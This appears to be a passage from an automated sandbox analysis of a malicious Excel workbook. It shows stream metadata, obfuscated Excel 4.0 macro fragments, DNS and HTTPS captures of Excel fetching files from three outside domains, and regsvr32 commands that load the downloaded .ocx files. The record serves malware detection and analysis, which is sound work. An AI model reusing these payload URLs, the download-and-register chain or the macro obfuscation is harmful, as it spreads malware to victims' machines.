                                                                                                                                                                                  Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                                                  File Type:data
                                                                                                                                                                                  Stream Size:4096
                                                                                                                                                                                  Entropy:0.490967081883
                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . \\ . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S i m b 1 . . . . . S h e e t . . . . . S b u r r 8 . . . . . S b u u r 2 . . . . . R g e d w g . . . . . E O R
                                                                                                                                                                                  Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 5c 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 1a 01 00 00
                                                                                                                                                                                  Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                                                  General
                                                                                                                                                                                  Stream Path:\x5SummaryInformation
                                                                                                                                                                                  File Type:data
                                                                                                                                                                                  Stream Size:4096
                                                                                                                                                                                  Entropy:0.27571260507
                                                                                                                                                                                  Base64 Encoded:False
                                                                                                                                                                                  Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
                                                                                                                                                                                  Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00
                                                                                                                                                                                  Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 241509
                                                                                                                                                                                  General
                                                                                                                                                                                  Stream Path:Workbook
                                                                                                                                                                                  File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                                                  Stream Size:241509
                                                                                                                                                                                  Entropy:7.42266783191
                                                                                                                                                                                  Base64 Encoded:True
                                                                                                                                                                                  Data ASCII:. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . . . 4 . < . 8 . = . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . .
                                                                                                                                                                                  Data Raw:09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 05 00 01 10 04 34 04 3c 04 38 04 3d 04 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

                                                                                                                                                                                  Macro 4.0 Code

                                                                                                                                                                                  12,2,=CHAR(Simb1!D25)
                                                                                                                                                                                  
                                                                                                                                                                                  6,7,=CHAR(Simb1!J25)
                                                                                                                                                                                  
                                                                                                                                                                                  10,5,=CHAR(Simb1!R27)
                                                                                                                                                                                  
                                                                                                                                                                                  6,3,=CHAR(Simb1!S32)
                                                                                                                                                                                  
                                                                                                                                                                                  11,2,=CHAR(Simb1!E31)
                                                                                                                                                                                  
                                                                                                                                                                                  4,5,=CHAR(Simb1!G26)
                                                                                                                                                                                  

                                                                                                                                                                                  Network Behavior

                                                                                                                                                                                  Network Port Distribution

                                                                                                                                                                                  TCP Packets

                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                  Nov 25, 2021 14:38:55.980720043 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:55.980762005 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:55.980859995 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:55.982217073 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:55.982234955 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:56.273180962 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:56.273267984 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:56.284339905 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:56.284362078 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:56.284703970 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:56.284775972 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:56.285737991 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:56.328866005 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.596396923 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.596625090 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:57.596939087 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.597001076 CET44349737192.185.79.2192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.597053051 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:57.597059965 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:38:57.822901964 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:57.822937965 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.823028088 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:57.823710918 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:57.823729038 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.138828993 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.138968945 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.148618937 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.148638010 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.148901939 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.148979902 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.150255919 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.192872047 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486193895 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486294031 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486355066 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486418009 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486434937 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486470938 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486536980 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486557961 CET44349755192.185.129.7192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486574888 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.486614943 CET49755443192.168.2.5192.185.129.7
                                                                                                                                                                                  Nov 25, 2021 14:38:58.783855915 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:58.783901930 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.783999920 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:58.784657001 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:58.784676075 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:59.344258070 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:59.344377995 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:59.351807117 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:59.351834059 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:59.352344036 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:59.352534056 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:59.353290081 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:38:59.396882057 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362027884 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362106085 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362189054 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362219095 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362340927 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362361908 CET44349757103.247.11.218192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362379074 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:39:01.362428904 CET49757443192.168.2.5103.247.11.218
                                                                                                                                                                                  Nov 25, 2021 14:40:40.013529062 CET49737443192.168.2.5192.185.79.2
                                                                                                                                                                                  Nov 25, 2021 14:40:40.013582945 CET49737443192.168.2.5192.185.79.2

                                                                                                                                                                                  UDP Packets

                                                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                  Nov 25, 2021 14:38:55.811381102 CET6544753192.168.2.58.8.8.8
                                                                                                                                                                                  Nov 25, 2021 14:38:55.978080034 CET53654478.8.8.8192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:57.625474930 CET5244153192.168.2.58.8.8.8
                                                                                                                                                                                  Nov 25, 2021 14:38:57.804162025 CET53524418.8.8.8192.168.2.5
                                                                                                                                                                                  Nov 25, 2021 14:38:58.502846003 CET6217653192.168.2.58.8.8.8
                                                                                                                                                                                  Nov 25, 2021 14:38:58.781318903 CET53621768.8.8.8192.168.2.5

                                                                                                                                                                                  DNS Queries

                                                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                                                                                                  Nov 25, 2021 14:38:55.811381102 CET192.168.2.58.8.8.80x8701Standard query (0)klevvrtech.comA (IP address)IN (0x0001)
                                                                                                                                                                                  Nov 25, 2021 14:38:57.625474930 CET192.168.2.58.8.8.80x782cStandard query (0)srkcampus.orgA (IP address)IN (0x0001)
                                                                                                                                                                                  Nov 25, 2021 14:38:58.502846003 CET192.168.2.58.8.8.80xcfa7Standard query (0)rstebet.co.idA (IP address)IN (0x0001)

                                                                                                                                                                                  DNS Answers

                                                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                                                                                                  Nov 25, 2021 14:38:55.978080034 CET8.8.8.8192.168.2.50x8701No error (0)klevvrtech.com192.185.79.2A (IP address)IN (0x0001)
                                                                                                                                                                                  Nov 25, 2021 14:38:57.804162025 CET8.8.8.8192.168.2.50x782cNo error (0)srkcampus.org192.185.129.7A (IP address)IN (0x0001)
                                                                                                                                                                                  Nov 25, 2021 14:38:58.781318903 CET8.8.8.8192.168.2.50xcfa7No error (0)rstebet.co.id103.247.11.218A (IP address)IN (0x0001)

                                                                                                                                                                                  HTTP Request Dependency Graph

                                                                                                                                                                                  • klevvrtech.com
                                                                                                                                                                                  • srkcampus.org
                                                                                                                                                                                  • rstebet.co.id

                                                                                                                                                                                  HTTPS Proxied Packets

                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                  0192.168.2.549737192.185.79.2443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                                                  2021-11-25 13:38:56 UTC0OUTGET /zxywJAC24KJ/ji.html HTTP/1.1
                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                  Host: klevvrtech.com
                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                  2021-11-25 13:38:57 UTC0INHTTP/1.1 200 OK
                                                                                                                                                                                  Date: Thu, 25 Nov 2021 13:38:56 GMT
                                                                                                                                                                                  Server: Apache
                                                                                                                                                                                  Upgrade: h2,h2c
                                                                                                                                                                                  Connection: Upgrade, close
                                                                                                                                                                                  Accept-Ranges: none
                                                                                                                                                                                  Content-Length: 0
                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8


                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                  1192.168.2.549755192.185.129.7443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                                                  2021-11-25 13:38:58 UTC0OUTGET /OYcMRJbL/ji.html HTTP/1.1
                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                  Host: srkcampus.org
                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                  2021-11-25 13:38:58 UTC0INHTTP/1.1 200 OK
                                                                                                                                                                                  Date: Thu, 25 Nov 2021 13:38:58 GMT
                                                                                                                                                                                  Server: nginx/1.19.10
                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                  Content-Length: 0
                                                                                                                                                                                  X-Server-Cache: true
                                                                                                                                                                                  X-Proxy-Cache: HIT
                                                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                                                  Connection: close


                                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                  2192.168.2.549757103.247.11.218443C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  TimestampkBytes transferredDirectionData
                                                                                                                                                                                  2021-11-25 13:38:59 UTC0OUTGET /fbmKk6n48G/ji.html HTTP/1.1
                                                                                                                                                                                  Accept: */*
                                                                                                                                                                                  Accept-Encoding: gzip, deflate
                                                                                                                                                                                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                  Host: rstebet.co.id
                                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                                  2021-11-25 13:39:01 UTC1INHTTP/1.1 200 OK
                                                                                                                                                                                  Connection: close
                                                                                                                                                                                  Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                  Content-Length: 0
                                                                                                                                                                                  Date: Thu, 25 Nov 2021 13:39:01 GMT
                                                                                                                                                                                  Server: LiteSpeed
                                                                                                                                                                                  Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000


                                                                                                                                                                                  Code Manipulations

                                                                                                                                                                                  Statistics

                                                                                                                                                                                  Behavior

                                                                                                                                                                                  Click to jump to process

                                                                                                                                                                                  System Behavior

                                                                                                                                                                                  General

                                                                                                                                                                                  Start time:14:38:48
                                                                                                                                                                                  Start date:25/11/2021
                                                                                                                                                                                  Path:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                  Imagebase:0x60000
                                                                                                                                                                                  File size:27110184 bytes
                                                                                                                                                                                  MD5 hash:5D6638F2C8F8571C593999C58866007E
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high

                                                                                                                                                                                  General

                                                                                                                                                                                  Start time:14:39:01
                                                                                                                                                                                  Start date:25/11/2021
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
                                                                                                                                                                                  Imagebase:0xb40000
                                                                                                                                                                                  File size:20992 bytes
                                                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high

                                                                                                                                                                                  General

                                                                                                                                                                                  Start time:14:39:01
                                                                                                                                                                                  Start date:25/11/2021
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
                                                                                                                                                                                  Imagebase:0xb40000
                                                                                                                                                                                  File size:20992 bytes
                                                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high

                                                                                                                                                                                  General

                                                                                                                                                                                  Start time:14:39:02
                                                                                                                                                                                  Start date:25/11/2021
                                                                                                                                                                                  Path:C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                  Commandline:"C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
                                                                                                                                                                                  Imagebase:0xb40000
                                                                                                                                                                                  File size:20992 bytes
                                                                                                                                                                                  MD5 hash:426E7499F6A7346F0410DEAD0805586B
                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                  Reputation:high

                                                                                                                                                                                  Disassembly

                                                                                                                                                                                  Code Analysis

                                                                                                                                                                                  Reset < >